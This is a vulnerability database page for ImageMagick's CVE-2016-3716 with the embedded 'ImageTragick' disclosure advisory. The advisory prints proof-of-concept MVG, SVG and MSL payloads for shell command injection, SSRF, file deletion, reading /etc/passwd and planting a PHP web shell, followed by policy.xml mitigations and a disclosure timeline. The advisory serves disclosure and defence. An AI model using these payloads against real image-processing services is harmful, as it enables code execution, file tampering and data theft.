CVE-2016-3716 Detail

CVE-2016-3716

Score / Severity

3.3

Low

OWSAP

A01-Broken Access Control

EPSS

61.88%V3

Vector

Local

Published

2016-05-05
16h00 +00:00

Modified

2018-10-09
16h57 +00:00

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CVE Descriptions

The MSL coder in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allows remote attackers to move arbitrary files via a crafted image.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	3.3	LOW	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Low Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	4.3		AV:N/AC:M/Au:N/C:N/I:P/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 39767

Publication date : 2016-05-03 22h00 +00:00
Author : Nikolay Ermishkin
EDB Verified : No

Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version (6.9.3-9 released 2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this fix seems to be incomplete. We are still working with developers. ImageMagick: Multiple vulnerabilities in image decoder 1. CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests: "wget" -q -O "%o" "https:%M" where %M is the actual link from the input. It is possible to pass the value like `https://example.com"|ls "-la` and execute unexpected 'ls -la'. (wget or curl should be installed) $ convert 'https://example.com"|ls "-la' out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... The most dangerous part is ImageMagick supports several formats like svg, mvg (thanks to https://hackerone.com/stewie for his research of this file format and idea of the local file read vulnerability in ImageMagick, see below), maybe some others - which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user supplied images and uses default delegates.xml / policy.xml, may be vulnerable to this issue. exploit.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context exploit.svg -=-=-=-=-=-=-=-=- <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg> $ convert exploit.mvg out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... ImageMagick tries to guess the type of the file by it's content, so exploitation doesn't depend on the file extension. You can rename exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In addition, ImageMagick's tool 'identify' is also vulnerable, so it can't be used as a protection to filter file by it's content and creates additional attack vectors (e.g. via 'less exploit.jpg', because 'identify' is invoked via lesspipe.sh). Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16 x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest sources from 6 and 7 branches all are vulnerable. Ghostscript and wget (or curl) should be installed on the system for successful PoC execution. For svg PoC ImageMagick's svg parser should be used, not rsvg. All other issues also rely on dangerous ImageMagick feature of external files inclusion from any supported protocol in formats like svg and mvg. 2. CVE-2016-3718 - SSRF It is possible to make HTTP GET or FTP request: ssrf.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context $ convert ssrf.mvg out.png # makes http request to example.com 3. CVE-2016-3715 - File deletion It is possible to delete files by using ImageMagick's 'ephemeral' pseudo protocol which deletes files after reading: delete_file.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context $ touch /tmp/delete.txt $ convert delete_file.mvg out.png # deletes /tmp/delete.txt 4. CVE-2016-3716 - File moving It is possible to move image files to file with any extension in any folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and image.gif should exist in known location - /tmp/ for PoC (in real life it may be web service written in PHP, which allows to upload raw txt files and process images with ImageMagick): file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> /tmp/image.gif - image with php shell inside (https://www.secgeek.net/POC/POC.gif for example) $ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php 5. CVE-2016-3717 - Local file read (independently reported by original research author - https://hackerone.com/stewie) It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol: file_read.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@...c/passwd' pop graphic-context $ convert file_read.mvg out.png # produces file with text rendered from /etc/passwd How to mitigate the vulnerability. Available patches appear to be incomplete. If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one these two things (but preferably both!): 1. Verify that all image files begin with the expected �magic bytes� corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info) 2. Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in �/etc/ImageMagick�. This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL: <policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap> Vulnerability Disclosure Timeline: April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team. April, 21 2016 - file read vulnerability patched by My.Com development team April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report April, 30 2016 - code execution vulnerability reported to ImageMagick development team April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix) April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix) May, 1 2016 - ImageMagic informed of the fix bypass May, 2 2016 - limited disclosure to 'distros' mailing list May, 3 2016 - public disclosure at https://imagetragick.com/